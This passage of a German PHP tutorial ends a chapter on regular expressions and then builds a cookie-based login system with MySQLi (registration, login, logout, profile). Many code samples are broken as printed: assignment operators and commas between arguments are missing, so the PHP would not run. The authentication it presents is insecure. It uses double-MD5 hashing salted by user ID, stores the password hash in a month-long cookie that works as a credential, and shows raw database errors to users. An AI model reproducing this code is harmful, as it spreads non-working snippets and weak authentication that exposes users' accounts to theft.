7. Vordefinierte Zeichenklassen

Es gibt Suchstrings die häufig vorkommen wie z.B. eine Ziffer oder ein Buchstabe. Anstatt nun alle Ziffern bzw. alle Buchstaben aufzulisten gibt es in PCRE vordefinierte Zeichenklassen.

8. Wiederholungen von Teilstrings

In der Regel sind die zu suchenden Strings länger als ein einzelnes Zeichen. Es kann sogar sein das der Text der gesucht wird unterschiedlich lang sein kann. Daher existiert in Regex die Möglichkeit nach Wiederholungen zu suchen, wie z.B. 20 Buchstaben oder beliebig viele Ziffern.

Um die Wiederholung von einem String festzulegen werden die geschweiften Klammern { und } verwendet. Innerhalb der Klammern geben ein oder zwei Zahlen die Anzahl der Wiederholungen an. Somit bedeutet {5} 5 Wiederholungen und {3,7} 3 bis 7 Wiederholungen. Die Angabe {0} ist Möglich bewirkt jedoch meistens nicht das was gewollt ist denn wie ganz am Anfang des Kapitels kann überall ein leerer String gefunden werden. Wenn ein Bereich angegeben wird, jedoch eine Zahl weggelassen wird entspricht dies einer offenen Grenze. So entspricht {5,} mindestens 5 Wiederholungen und {,8} maximal 8 Wiederholungen.

  re> /\d{2}-\d{2}-\d{2,4}/
data> 12-03-2008
 0: 12-03-2008
data> Ich habe am 1-1-1970 Geburtstag
No match
data> Und ich am 45-23-301.
 0: 45-23-301

Hier wurde nach einem Datum-typischen String gesucht. Man sieht auch das nicht alles was wie ein Datum aussieht auch wirklich ein Datum ist. Daher muss man ggf. die Daten die man ausgelesen hat später noch mit PHP prüfen.

Einige Wiederholungen kommen so oft vor dass es für diese sogar Abkürzungen gibt.

Diese Abkürzungen werden oft mit den Abkürzungen der Zeichenklassen verwendet. So findet man in Regex oft solche Suchmuster wie .* oder \d+.

9. Gierige Suchmuster

Wenn ein Suchmuster unterschiedlich oft wiederholt werden kann versucht die Regex-Engine den größtmöglichen Text zu finden, auch wenn ein kleinerere Text reichen würde. Dieses Verhalten wird greedy genannt. Es kann jedoch sein dass man genau dies nicht möchte bzw. fehl am Platz ist. Als Beispiel wollen wir HTML-Elemente finden und würde da vielleicht den Regex /<.*>/ verwenden.

  re> /<.*>/
data> foo<br />bar
 0: <br />
data> Ein Text mit einem <em>hervorgehobenen</em> Wort.
 0: <em>hervorgehobenen</em>

Im ersten Beispiel wurde zwar das HTML-Element, im zweiten Beispiel jedoch auch Text der nicht erwünscht ist. Eine Möglichkeit wäre es nicht die das .-Zeichen zu verwenden sondern eine Zeichenklasse die kein >-Zeichen erlaubt. Eine weitere Möglichkeit wäre die Regex-Engine von greedy auf ungreedy zu stellen. Dies wird mit dem Modifier U gesetzt.

  re> /<.*>/U
data> foo<br />bar
 0: <br />
data> Ein Text mit einem <em>hervorgehobenen</em> Wort.
 0: <em>

Die Greedy-Eigenschaft lässt sich bei * und + auch umdrehen wenn hinter den Abkürzungen ein weiteres ? folgt.

  re> /<.*?>/
data> foo<br />bar
 0: <br />
data> Ein Text mit einem <em>hervorgehobenen</em> Wort.
 0: <em>

Dies ist nötig wenn man mehrere solche Wiederholungen hat, jedoch nur einige greedy und andere ungreedy sein sollen.

10. Regex in PHP

Mit dem ganzen Vorwissen können wir nun Regex in PHP verwenden. Dabei werden meistens die Funktionen preg_match und preg_replace verwendet. Die Funktion preg_match wird verwendet wenn man gucken möchte ob ein Regex auf ein String passt, preg_replace wird verwendet wenn der gefundene String dann durch einen anderen String ersetzt werden soll.

Der erste Parameter der preg_match ist der Regex, der zweite Parameter ist der Eingabestring der getestet werden soll. Da der Regex in der Regel Backslashes enthällt (\) sollte man hier stehts single-quoted-Strings verwenden, das spart ne Menge escaperei. Die Funktion liefert dann 0 zurück wenn der Regex nicht passt und 1 wenn der Regex passt. Daher kann preg_match gut in einer if-Abfrage verwenden.

<?php
if (!preg_match('~\A\d{2}-\d{2}-\d{4}\z~''40-50-0001')) { // hier mal '~' als Delimiter verwendet
    
die('Bitte geben sie etwas ein was wie ein Datum aussieht.');
}
?>

Falls man Suchmuster einklammert um zu Gruppen zu erfassen kann man als dritten Parameter eine Variable übergeben. Wenn der Regex zum String passt wird in der Variable ein Array gespeichert, welches die erfassten Gruppen erfasst, die wir oben mit 0 und 1 kennengelernt haben. Die Schlüssel entsprechen dann den gefundenen Gruppen.

<?php
if (!preg_match('~Foo(.*)Bar~i''blablifoooooooblabaRblibar'$matches)) {
    echo 
"nicht gefunden";
} else {
    
var_dump($matches);
}
?>

Dies gibt folgendes aus.

array(2) {
  [0]=>
  string(20) "foooooooblabaRblibar"
  [1]=>
  string(14) "oooooblabaRbli"
}

Hier sieht man die Gruppen 0 und 1 wie sie auch pcretest finden würde.

Mit der Funktion preg_replace geht man noch ein Schritt weiter und ersetzt jeden gefundenen Teilstring durch einen anderen String. Insbesondere kann gefundener Text beim ersetzen beibehalten werden.

<?php
$Text 
'Ein sehr Langer Text mit "besonderen" Markierungen, die dann "besonders" behandelt werden.';
$Regex '~"(.*)"~U';
$Ersetzen '<em>\1</em>';
$Text preg_replace($Regex$Ersetzen$Text);
echo 
$Text;
// Gibt folgendes aus
// Ein sehr Langer Text mit <em>besonderen</em> Markierungen, die dann <em>besonders</em> behandelt werden.
?>

Auf die gefundenen Strings kann man mit \$Nummer zugreifen, wobei dann entsprechend die Nummern die Gruppen sind, die man gefunden hat. Beachtet das für einfache Textersetzungen man kein preg_replace braucht. Wenn man z.B. alle e's durch E's ersetzen will reicht es Dicke wenn man die str_replace-Funktion verwendet und nicht die Regex-Engine anwerfen muss.

11. Die Welt der Regex

Dieses Kapitel ist nur ein Grundwissen über Regex. Im Handbuch zu Regular Expressions (Perl-Compatible) sowie auf diversen Internetseiten wie in der Wikipedia zu Regular expression finden sich detailiertere Informationen wie man mit Regex umgeht und was alles noch möglich ist.

Fragen zum Kapitel

Keine Fragen zum Kapitel vorhanden

Loginskript

  1. Loginskript
  2. Tabelle in MySQL
  3. Bereiche anlegen
  4. Neuen Benutzer registieren
  5. Ins System einloggen
  6. Aus dem System ausloggen
  7. Eigenes Profil bearbeiten

1. Loginskript

Die meisten Internetplatformen besitzen eine Möglichkeit sich zu registieren und einzuloggen. Damit man über mehrere Tage eingeloggt bleibt wird üblicherweise in einem Cookie der Loginstatus gespeichert, damit jeder sich nicht bei jedem Besuch neu einloggen muss. Unser Loginskript wird daher auch Cookies verwenden.

2. Tabelle in MySQL

Alle Benutzer müssen natürlich im System gespeichert sein. Dafür legen wir in MySQL eine Tabelle User an, die alle Daten vom Benutzer enthällt. In unserem Fall sind es folgende Daten.

Daraus ergibt sich dann der folgende SQL-Query.

CREATE TABLE User (
    ID INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
    Username VARCHAR(30) NOT NULL,
    Password CHAR(32) NOT NULL,
    Email VARCHAR(100) NOT NULL 
);

Diesen fügen wir dann mit phpMyAdmin in unsere Datenbank ein.

3. Bereiche anlegen

Für unsere Grundfunktionen eines Logins brauchen vier 4 Bereiche. Zuerst müssen wir ein Teilbereich schreiben in dem sich neue Benutzer registierieren können. Dann brauchen wir ein Bereich für den eigentlichen Login, ein weiteren für die Bearbeitung des eigenen Profils und zuletzt noch ein Bereich um uns auszuloggen. Daher legen wir in unserem $dateien-Array vier neue Einträge für register, login, profile und logout mit den entsprechenden PHP-Skripten register.php, login.php, profile.php und logout.php an.

4. Neuen Benutzer registieren

Zuerst müssen wir dem Benutzer ein Formular anzeigen welches den Benutzer nach den nötigen Daten wie Username und Password fragt. Daher zeigen wir als erstes das Formular an.

<?php
$ret 
= array();
$ret['filename'] = 'register.tpl';
$ret['data'] = array();
if (
'POST' == $_SERVER['REQUEST_METHOD']) {
    
// formular verarbeiten
}
return 
$ret;
?>

Es ist nicht schlimm dass wir die Variable $ret verwenden, sie wird eh später durch die Anweisung $ret = include ....; überschrieben. Die register.tpl sieht dabei wie folgt aus.

<form action="index.php?section=register" method="post">
    <fieldset>
        <legend>Registieren</legend>
        <label>Username: <input type="text" name="Username" /></label>
        <label>Password: <input type="password" name="Password[]" /></label>
        <label>Bestätigung: <input type="password" name="Password[]" /></label>
        <label>Email: <input type="text" name="Email" /></label>
        <label>{FRAGE}: <input type="text" name="Antwort" /></label>
        <input type="submit" name="formaction" value="Registieren" />
    </fieldset>
</form>

Hier sieht man wieder die Eingabe nach einer Antwort zu einer Frage. Dies dient wie vorher dazu Spambots aus dem System zu halten, mit all den vorher besprochenden Einschränkungen. Außerdem werden die Passwörter in ein Array gespeichert auf die wir dann später mit den Index 0 und 1 zugreifen können.

Nun prüfen wir in unserem PHP-Skript ob alle Formularelemente vorhanden sind.

<?php
$ret 
= array();
$ret['filename'] = 'register.tpl';
$ret['data'] = array();
if (
'POST' == $_SERVER['REQUEST_METHOD']) {
    if (!isset(
$_POST['Username'], $_POST['Password'], $_POST['Email'],
               
$_POST['Antwort'], $_POST['formaction'])) {
        return 
INVALID_FORM;
    }
}
return 
$ret;
?>

Hier sieht man dass eine Konstante INVALID_FORM verwendet wurde. Diese Konstante ist nicht vordefiniert, daher müssen wir sie definieren. Dies machen wir in einer constants.php die wie auch in der index.php laden.

<?php
error_reporting
(E_ALL);
ini_set('display_errors'1);

include 
'constants.php';
include 
'functions.php';
include 
'classes.php';
include 
'variables.php';
// [...]
?>

In der neuen Datei definieren wir dann eine passende Fehlermeldung.

<?php
define
('INVALID_FORM''Benutzen sie nur Formulare von der Homepage.');
?>

Nun prüfen wir die Password-Felder.

<?php
$ret 
= array();
$ret['filename'] = 'register.tpl';
$ret['data'] = array();
if (
'POST' == $_SERVER['REQUEST_METHOD']) {
    if (!isset(
$_POST['Username'], $_POST['Password'], $_POST['Email'],
               
$_POST['Antwort'], $_POST['formaction'])) {
        return 
INVALID_FORM;
    }
    if (!
is_array($_POST['Password']) OR count($_POST['Password']) != 2) {
        return 
INVALID_FORM;
    }
    if (
$_POST['Password'][0] != $_POST['Password'][1]) {
        return 
'Bitte geben sie das gleiche Password ein.';
    }
}
return 
$ret;
?>

Nun prüfen wir ob wirklich was eingegeben wurde.

<?php
$ret 
= array();
$ret['filename'] = 'register.tpl';
$ret['data'] = array();
if (
'POST' == $_SERVER['REQUEST_METHOD']) {
    if (!isset(
$_POST['Username'], $_POST['Password'], $_POST['Email'],
               
$_POST['Antwort'], $_POST['formaction'])) {
        return 
INVALID_FORM;
    }
    if (!
is_array($_POST['Password']) OR count($_POST['Password']) != 2) {
        return 
INVALID_FORM;
    }
    if (
$_POST['Password'][0] != $_POST['Password'][1]) {
        return 
'Bitte geben sie das gleiche Password ein.';
    }
    if ((
$Username trim($_POST['Username'])) == '' OR
            (
$Password trim($_POST['Password'][0])) == '' OR
            (
$Email trim($_POST['Email'])) == '' OR
            (
$Antwort trim($_POST['Antwort'])) == '') {
        return 
EMPTY_FORM;
    }
}
return 
$ret;
?>

Hier verwenden wir wieder eine neue Konstante, die wir entsprechend in der constants.php definieren.

<?php
define
('INVALID_FORM''Benutzen sie nur Formulare von der Homepage.');
define('EMPTY_FORM''Bitte füllen sie das Formular vollständig aus.');
?>

Nun prüfen wir den Wert unserer pseudo-CAPTCHA-Abfrage.

<?php
$ret 
= array();
$ret['filename'] = 'register.tpl';
$ret['data'] = array();
if (
'POST' == $_SERVER['REQUEST_METHOD']) {
    if (!isset(
$_POST['Username'], $_POST['Password'], $_POST['Email'],
               
$_POST['Antwort'], $_POST['formaction'])) {
        return 
INVALID_FORM;
    }
    if (!
is_array($_POST['Password']) OR count($_POST['Password']) != 2) {
        return 
INVALID_FORM;
    }
    if (
$_POST['Password'][0] != $_POST['Password'][1]) {
        return 
'Bitte geben sie das gleiche Password ein.';
    }
    if ((
$Username trim($_POST['Username'])) == '' OR
            (
$Password trim($_POST['Password'][0])) == '' OR
            (
$Email trim($_POST['Email'])) == '' OR
            (
$Antwort trim($_POST['Antwort'])) == '') {
        return 
EMPTY_FORM;
    }
    if (
'' != $Antwort) { // entsprechend anpassen
        
return 'Bitte geben sie die richtige Antwort an.';
    }
}
return 
$ret;
?>

Nun prüfen wir ob der Benutzername normal aussieht und noch nicht verwendet wurde. Normal heißt für uns ein Username zwischen 3 und 30 Zeichen ohne Leerzeichen. Dafür verwenden wir einmal ein Regex und prüfen dann in der Datenbank ob es schon ein solchen Username gibt.

<?php
$ret 
= array();
$ret['filename'] = 'register.tpl';
$ret['data'] = array();
if (
'POST' == $_SERVER['REQUEST_METHOD']) {
    if (!isset(
$_POST['Username'], $_POST['Password'], $_POST['Email'],
               
$_POST['Antwort'], $_POST['formaction'])) {
        return 
INVALID_FORM;
    }
    if (!
is_array($_POST['Password']) OR count($_POST['Password']) != 2) {
        return 
INVALID_FORM;
    }
    if (
$_POST['Password'][0] != $_POST['Password'][1]) {
        return 
'Bitte geben sie das gleiche Password ein.';
    }
    if ((
$Username trim($_POST['Username'])) == '' OR
            (
$Password trim($_POST['Password'][0])) == '' OR
            (
$Email trim($_POST['Email'])) == '' OR
            (
$Antwort trim($_POST['Antwort'])) == '') {
        return 
EMPTY_FORM;
    }
    if (
'' != $Antwort) { // entsprechend anpassen
        
return 'Bitte geben sie die richtige Antwort an.';
    }
    if (!
preg_match('~\A\S{3,30}\z~'$Username)) {
        return 
'Der Benutzername darf nur aus 3 bis 30 Zeichen bestehen und '.
               
'keine Leerzeichen enthalten.';
    }
}
return 
$ret;
?>

Da wir nun mit MySQL sprechen müssen brauchen wir ein MySQLi-Objekt. Dazu müssen wir die index.php Datei bearbeiten.

<?php
error_reporting
(E_ALL);
ini_set('display_errors'1);

include 
'constants.php';
include 
'functions.php';
include 
'classes.php';
include 
'variables.php';

$db = @new MySQLi(/*host*//*username*//*password*//*database*/);
$ret 1// speichert den rückgabewert von include, standardwert 1
if (mysqli_connect_errno()) {
    
$ret 'Konnte keine Verbindung zu Datenbank aufbauen, MySQL meldete: '.mysqli_connect_error();
} else {
    
// Laden der Include-Datei
    // [...]
}
// Laden des HTML-Kopfs
// [...]
?>

Wir benutzen die $ret-Variable um die Fehlermeldung für ein Verbindungsfehler anzuzeigen. Da wir nun unser MySQLi-Objekt haben können wir mit der Datenbank arbeiten. Dabei lesen wir alle Datensätze aus der User-Tabelle aus die den gleichen Namen haben wie die Eingabe des Usernames. Dabei kann es nur 0 oder einen Datensatz geben, den wir dann mit dem Attribut num_rows auslesen.

<?php
    
// [...]
    
if (!preg_match('~\A\S{3,30}\z~'$Username)) {
        return 
'Der Benutzername darf nur aus 3 bis 30 Zeichen bestehen und '.
               
'keine Leerzeichen enthalten.';
    }
    
$sql 'SELECT
                ID
            FROM
                User
            WHERE
                Username = ?
            LIMIT
                1'
;
    
$stmt $db->prepare($sql);
    if (!
$stmt) {
        return 
$db->error;
    }
    
$stmt->bind_param('s'$Username);
    
$stmt->execute();
    
$stmt->store_result();
    if (
$stmt->num_rows) {
        return 
'Der Username wird bereits verwendet.';
    }
    
$stmt->close();
    
// [...]
?>

Die Methode store_result() (mysqli_stmt_store_result) wird verwendet damit die Daten aus der Datenbank gelesen werden, insbesondere wird dann auch das num_rows-Feld gesetzt. Nun wissen wir dass der Username gültig ist, also können wir unseren Benutzer hinzufügen.

<?php
    
// [...]
    
if ($stmt->num_rows) {
        return 
'Der Username wird bereits verwendet.';
    }
    
$stmt->close();
    
$sql 'INSERT INTO
                User(Username, Email)
            VALUES
                (?, ?)'
;
    
$stmt $db->prepare($sql);
    if (!
$stmt) {
        return 
$db->error;
    }
    
$stmt->bind_param('ss'$Username$Email);
    if (!
$stmt->execute()) {
        return 
$stmt->error;
    }
    
// [...]
?>

Mit der insert_id-Eigenschaft können wir die ID abfragen die für diesen Datensatz erzeugt wurde. Diese verwenden wir für den Salt der Hashfunktion.

<?php
    
// [...]
    
if (!$stmt->execute()) {
        return 
$stmt->error;
    }
    
$UserID $stmt->insert_id;
    
$sql 'UPDATE
                User
            SET
                Password = ?
            WHERE
                ID = ?'
;
    
$stmt $db->prepare($sql);
    if (!
$stmt) {
        return 
$db->error;
    }
    
$Hash md5(md5($UserID).$Password);
    
$stmt->bind_param('si'$Hash$UserID);
    if (!
$stmt->execute()) {
        return 
$stmt->error;
    }
    
// [...]
?>

Nun wurde der Benutzer mit dem Passwort gespeichert. Nun geben wir noch eine entsprechende Meldung beim Benutzer aus.

<?php
    
// [...]
    
if (!$stmt->execute()) {
        return 
$stmt->error;
    }
    return 
showInfo('Der Benutzer wurde hinzugefügt. Sie können sich nun anmelden.');
    
// [...]
?>

Bei der Funktion showInfo() handelt es sich um eine benutzerdefinierte Funktion die wir noch schreiben müssen. Sie soll für uns ein Array generieren welches dann später ein Template mit einer Infobox anzeigt. Dazu schreiben wir erstmal die templates/info.tpl-Datei.

<?php
/* Daten
 * - msg: Die Nachricht die angezeigt werden soll.
 */
?><p class="info">
    <?php echo htmlspecialchars($data['msg']); ?>
</p>

Da wir jetzt wissen wie die Template-Datei aussieht wissen wir auch wie die Funktion aussehen muss.

<?php
/**
 * Erzeugt ein Array für das Infomessage-Template.
 *
 * Diese Funktion erzeugt eine Array für unsere Templateengine die dann
 * die Infomessage-Template-Datei "info.tpl" läd. Der Parameter gibt
 * dabei die Nachricht an die angezeigt werden soll.
 *
 * @param msg Die Nachricht die angezeigt werden soll.
 * @return Das Array für unsere Templateengine.
 */
function showInfo($msg) {
    
$ret = array();
    
$ret['filename'] = 'info.tpl';
    
$ret['data'] = array();
    
$ret['data']['msg'] = $msg;
    return 
$ret;
}
?>

Da sich nun jeder registieren kann kommt nun der Programmteil zum einloggen.

5. Ins System einloggen

Da unser Login Cookies verwenden soll müssen wir uns überlegen was wir beim Client speichern. Die einfachste Möglichkeit wäre es den Benutzernamen und das Password zu speichern. Jedoch mag es vielleicht der Benutzer nicht wenn bei jedem Seitenaufruf die lesbaren Logindaten übermittelt werden. Daher werden wir die UserID und den Hashwert vom Passwort speichern. Die können zwar auch abgefangen werden aber dadurch kriegt keiner das eigentliche Password vom Benutzer raus.

Für den Bereich login brauchen wir wieder 2 Dateien. Einmal die templates/login.tpl welches das Loginformular anzeigt und entsprechend die includes/login.php welches die Formulardaten verarbeitet.

<form action="index.php?section=login" method="post">
    <fieldset>
        <legend>Einloggen</legend>
        <label>Benutzername: <input type="text" name="Username" /></label>
        <label>Password: <input type="password" name="Password" /></label>
        <input type="submit" name="formaction" value="Einloggen" />
    </fieldset>
</form>

In unserer includes/login.php verarbeiten wir die Logindaten. Zuerst bauen wir unser Grundgerüst.

<?php
$ret 
= array();
$ret['filename'] = 'login.tpl';
$ret['data'] = array();
if (
'POST' == $_SERVER['REQUEST_METHOD']) {
    if (!isset(
$_POST['Username'], $_POST['Password'], $_POST['formaction'])) {
        return 
INVALID_FORM;
    }
    if ((
'' == $Username trim($_POST['Username'])) OR
            (
'' == $Password trim($_POST['Password']))) {
        return 
EMPTY_FORM;
    }
}
return 
$ret;
?>

Nun prüfen wir mit den Username ob ein Benutzer vorhanden ist.

<?php
    
// [...]
    
if (('' == $Username trim($_POST['Username'])) OR
            (
'' == $Password trim($_POST['Password']))) {
        return 
EMPTY_FORM;
    }
    
$sql 'SELECT
                ID
            FROM
                User
            WHERE
                Username = ?'
;
    
$stmt $db->prepare($sql);
    if (!
$stmt) {
        return 
$db->error;
    }
    
$stmt->bind_param('s'$Username);
    if (!
$stmt->execute()) {
        return 
$stmt->error;
    }
    
$stmt->bind_result($UserID);
    if (!
$stmt->fetch()) {
        return 
'Es wurde kein Benutzer mit den angegebenen Namen gefunden.';
    }
    
$stmt->close();
    
// [...]
?>

Die bind_result()-Methode ist das selbe wie bind_param(), nur in der anderen Richtung. Wenn die fetch()-Methode aufgerufen wird so werden die Daten vom nächsten Datensatz aus dem Resultset in die gebundenen Variablen gespeichert. Hier ist dies nur die ID des Benutzers. Wenn kein Datensatz mehr vorhanden ist liefert fetch() den Wert NULL der äquivalent zu false umgewandelt wird. Dies nutzen wir aus indem wir die Methode in einer if-Abfrage aufrufen und dann entsprechend eine Fehlermeldung zurückliefern wenn kein Datensatz vorhanden ist.

Nun haben wir die ID des Benutzers und prüfen nun ob das Passwort stimmt.

<?php
    
// [...]
    
if (!$stmt->fetch()) {
        return 
'Es wurde kein Benutzer mit den angegebenen Namen gefunden.';
    }
    
$stmt->close();
    
$sql 'SELECT
                Password
            FROM
                User
            WHERE
                ID = ? AND
                Password = ?'
;
    
$stmt $db->prepare($sql);
    if (!
$stmt) {
        return 
$db->error;
    }
    
$Hash md5(md5($UserID).$Password);
    
$stmt->bind_param('is'$UserID$Hash);
    if (!
$stmt->execute()) {
        return 
$stmt->error;
    }
    
$stmt->bind_result($Hash);
    if (!
$stmt->fetch()) {
        return 
'Das eingegebene Password ist ungültig.';
    }
    
$stmt->close();
    
// [...]
?>

Nun wissen wir dass die Logindaten stimmen und können nun die Cookies senden.

<?php
    
// [...]
    
if (!$stmt->fetch()) {
        return 
'Das eingegebene Password ist ungültig.';
    }
    
$stmt->close();
    
setcookie('UserID'$UserIDstrtotime("+1 month"));
    
setcookie('Password'$Hashstrtotime("+1 month"));
    
// [...]
?>

Cookies alleine sorgen nicht dafür dass man eingeloggt ist, wir müssen sie auch abfragen. Dazu definieren wir uns eine Funktion getUserID(). Sie prüft die Cookie-Werte und liefert entweder false wenn der Benutzer nicht eingeloggt ist oder die Benutzer-ID wenn die Logindaten gültig sind. Diese Funktion soll also zwei Dinge leisten, einmal gucken ob man eingeloggt ist und dann gucken mit welcher ID der Benutzer eingeloggt ist.

<?php
/**
 * Liefert die Benutzer-ID zurück.
 *
 * Diese Funktion liefert die Benutzer-ID des angemeldeten Benutzers zurück.
 * Falls kein Benutzer angemeldet ist liefert diese Funktion den Wert false
 * zurück. Der Parameter gibt dabei das MySQLi-Objekt an in der nach
 * dem Login geprüft werden soll. Es werden dabei die Cookies "UserID" und
 * "Password" ausgelesen. Bei einem MySQL-Fehler wird ein String mit
 * der Fehlermeldung zurückgeliefert.
 *
 * @param db Das MySQLi-Objekt auf dem gearbeitet wird.
 * @return false wenn der Benutzer nicht eingeloggt ist, die ID des Benutzers
 *         wenn er eingeloggt ist oder ein string wenn eine Fehlermeldung
 *         auftrat.
 */
function getUserID($db) {
    if (!
is_object($db)) {
        return 
false;
    }
    if (!(
$db instanceof MySQLi)) {
        return 
false;
    }
    if (!isset(
$_COOKIE['UserID'], $_COOKIE['Password'])) {
        return 
false;
    }
    
$sql 'SELECT
                ID
            FROM
                User
            WHERE
                ID = ? AND
                Password = ?'
;
    
$stmt $db->prepare($sql);
    if (!
$stmt) {
        return 
$db->error;
    }
    
$stmt->bind_param('is'$_COOKIE['UserID'], $_COOKIE['Password']);
    if (!
$stmt->execute()) {
        
$str $stmt->error;
        
$stmt->close();
        return 
$str;
    }
    
$stmt->bind_result($UserID);
    if (!
$stmt->fetch()) {
        
$stmt->close();
        return 
false;
    }
    
$stmt->close();
    return 
$UserID;
}
?>

Zuerst sind einige Abfragen ob auch alle Werte da sind. Dann wird ein SELECT-Query gesendet und geprüft ob die Logindaten stimmen. Wenn sie stimmen wir die ID des Benutzers zurückgeliefert, wenn nicht wird false zurückgeliefert.

Problematisch bei dieser Funktion sind MySQL-Fehler die auftreten können. Idealerweise würde man hier vielleicht anstatt ein return lieber eine Exception werfen. Dies haben wir jedoch noch nicht gelernt, daher bleibt uns nur eine return-Anweisung.

Wie man sieht wird hier auf die entsprechenden Cookies zugegriffen. Beim Einloggen sind die Cookies jedoch (noch) nicht gesetzt. Man ist zwar eingeloggt aber dies sieht man erst beim nächsten Aufruf wenn dann die Cookies gesendet werden. Hier kann man ein wenig Tricksen wenn man beim einloggen für den aktuellen Request die Cookies von Hand setzt.

<?php
    
// [...]
    
if (!$stmt->fetch()) {
        return 
'Das eingegebene Password ist ungültig.';
    }
    
$stmt->close();
    
setcookie('UserID'$UserIDstrtotime("+1 month"));
    
setcookie('Password'$Hashstrtotime("+1 month"));
    
$_COOKIE['UserID'] = $UserID// fake-cookie setzen
    
$_COOKIE['Password'] = $Hash// fake-cookie setzen
    // [...]
?>

Somit liefert schon im aktuellen Request die getUserID()-Funktion die ID des Benutzers zurück.

Um MySQL-Fehler innerhalb der getUserID-Funktion richtig zu behandeln prüfen wir sehr früh ob die Funktion ein MySQL-Fehler hat, indem wir in der index.php-Datei den Rückgabewert prüfen.

<?php
error_reporting
(E_ALL);
ini_set('display_errors'1);

include 
'constants.php';
include 
'functions.php';
include 
'classes.php';
include 
'variables.php';

$db = @new MySQLi(/*host*//*username*//*password*//*database*/);
$ret 1// speichert den rückgabewert von include, standardwert 1
if (mysqli_connect_errno()) {
    
$ret 'Konnte keine Verbindung zu Datenbank aufbauen, MySQL meldete: '.mysqli_connect_error();
} else if (
is_string($error getUserID($db))) { // String, also ein MySQL Fehler
    
$ret $error// die Fehlermeldung in $ret speichern, damit sie angezeigt wird.
} else {
    
// Laden der Include-Datei
    // [...]
}
// Laden des HTML-Kopfs
// [...]
?>

So werden MySQL-Fehlermeldungen angezeigt und wenn es keine gab (is_string liefert false) kann normal weitergearbeitet werden.

Nun da wir eine funktionierende getUserID()-Funktion haben können wir diese in unseren beiden Bereichen verwenden. Es ergibt keinen Sinn ein neuen Benutzer zu registieren wenn man eingeloggt ist oder sich einzuloggen wenn man bereits eingeloggt ist. Daher fügen wir in der register.php oben folgenden Code ein.

<?php
if (getUserID($db)) {
    return 
'Sie sind eingeloggt und können sich nicht registieren.';
}
$ret = array();
$ret['filename'] = 'register.tpl';
$ret['data'] = array();
// [...]
?>

Und in der login.php ein entsprechender Code.

<?php
if (getUserID($db)) {
    return 
'Sie sind bereits eingeloggt.';
}
$ret = array();
$ret['filename'] = 'login.tpl';
$ret['data'] = array();
// [...]
?>

Die Funktion getUserID() kann nun auch verwendet werden um in der templates/menu.tpl-Datei die Links zum Anmelden und Registieren nur dann anzuzeigen wenn man auch wirklich nicht angemeldet ist. Zum Schluss liefern wir in der includes/login.tpl noch eine Infomessage zurück dassder Benutzer nun eingeloggt ist.

<?php
    
// [...]
    
setcookie('UserID'$UserIDstrtotime("+1 month"));
    
setcookie('Password'$Hashstrtotime("+1 month"));
    
$_COOKIE['UserID'] = $UserID// fake-cookie setzen
    
$_COOKIE['Password'] = $Hash// fake-cookie setzen
    
return showInfo('Sie sind nun eingeloggt.');
}
return 
$ret;
?>

6. Aus dem System ausloggen

Um sich aus dem System auszuloggen braucht man nur die Cookies zu löschen. Dafür schreiben wie entsprechend die templates/logout.tpl- und includes/logout.php-Dateien.

<form action="index.php?section=logout" method="post">
    <fieldset>
        <legend>Ausloggen</legend>
        <p class="info">Um sich auszuloggen klicken sie unten auf den Button.</p>
        <input type="submit" name="formaction" value="Ausloggen" />
    </fieldset>
</form>

Für die includes/logout.php schreiben wir wieder unser Grundgerüst.

<?php
if (!getUserID($db)) {
    return 
NOT_LOGGED_IN;
}
$ret = array();
$ret['filename'] = 'logout.tpl';
$ret['data'] = array();
if (
'POST' == $_SERVER['REQUEST_METHOD']) {
    if (!isset(
$_POST['formaction'])) {
        return 
INVALID_FORM;
    }
}
return 
$ret;
?>

Wie man sieht verwenden wir hier eine neue Konstante NOT_LOGGED_IN, die wir entsprechend in der constants.php definieren müssen.

<?php
// [...]
define('NOT_LOGGED_IN''Sie müssen eingeloggt sein um diese Funktion nutzen zu können.');
?>

Nun löschen wir die Cookies.

<?php
if (!getUserID($db)) {
    return 
NOT_LOGGED_IN;
}
$ret = array();
$ret['filename'] = 'logout.tpl';
$ret['data'] = array();
if (
'POST' == $_SERVER['REQUEST_METHOD']) {
    if (!isset(
$_POST['formaction'])) {
        return 
INVALID_FORM;
    }
    
setcookie('UserID'''strtotime('-1 day'));
    
setcookie('Password'''strtotime('-1 day'));
    unset(
$_COOKIE['UserID']);
    unset(
$_COOKIE['Password']);
    return 
showInfo('Sie sind nun ausgeloggt.');
}
return 
$ret;
?>

Und somit sind wir fertig mit der Logout-Funktion.

7. Eigenes Profil bearbeiten

Früher oder später möchte man sein Nicknamen, sein Password oder seine Emailadresse ändern. Deshalb brauchen wir eine Möglichkeit das Profil zu bearbeiten. Dafür benötigen wir die Dateien templates/profile.tpl und includes/profile.php.

Für die includes/profile.php-Datei legen wir wieder ein Grundgerüst an.

<?php
if (!$UserID getUserID($db)) {
    return 
NOT_LOGGED_IN;
}
$ret = array();
$ret['filename'] = 'profile.tpl';
$ret['data'] = array();

return 
$ret;
?>

Es gibt drei Möglichkeiten wie dieser Bereich aufgerufen wird. Erste Möglichkeit ist der einfache Aufruf mittels eines Links. Als zweite Möglichkeit wird die Seite aufgerufen wenn der Benutzername oder die Emailadresse geändert wird. Und als dritte Möglichkeit wird die Seite aufgerufen wenn das Password geändert wird. Für alle diese Möglichkeiten verwenden wir die $_POST['formaction']-Variable, die wir mit einem switch abfragen.

<?php
if (!$UserID getUserID($db)) {
    return 
NOT_LOGGED_IN;
}
$ret = array();
$ret['filename'] = 'profile.tpl';
$ret['data'] = array();

switch (@
$_POST['formaction']) {
default:
    break;
}

return 
$ret;
?>

Mit dem @-Zeichen unterdrücken wir zwar die Fehlermeldung falls das Arrayelement nicht existiert, jedoch definieren wir ein default-Teil der standardmäßig aufgerufen wird. In diesem Bereich laden wir die Profildaten Username und Email aus der Datenbank aus und zeigen sie im Template an.

<?php
// [...]
default:
    
$sql 'SELECT
                Username,
                Email
            FROM
                User
            WHERE
                ID = ?'
;
    
$stmt $db->prepare($sql);
    if (!
$stmt) {
        return 
$db->error;
    }
    
$stmt->bind_param('i'$UserID);
    if (!
$stmt->execute()) {
        return 
$stmt->error;
    }
    
$stmt->bind_result($Username$Email);
    
$stmt->fetch();
    
$stmt->close();
    break;
// [...]
?>

Diese Daten speichern wir nun in unser return-Array ab um später im Template darauf zugreifen zu können.

<?php
// [...]
    
$stmt->bind_result($Username$Email);
    
$stmt->fetch();
    
$stmt->close();
    
$ret['data']['Username'] = $Username;
    
$ret['data']['Email'] = $Email;
    break;
// [...]
?>

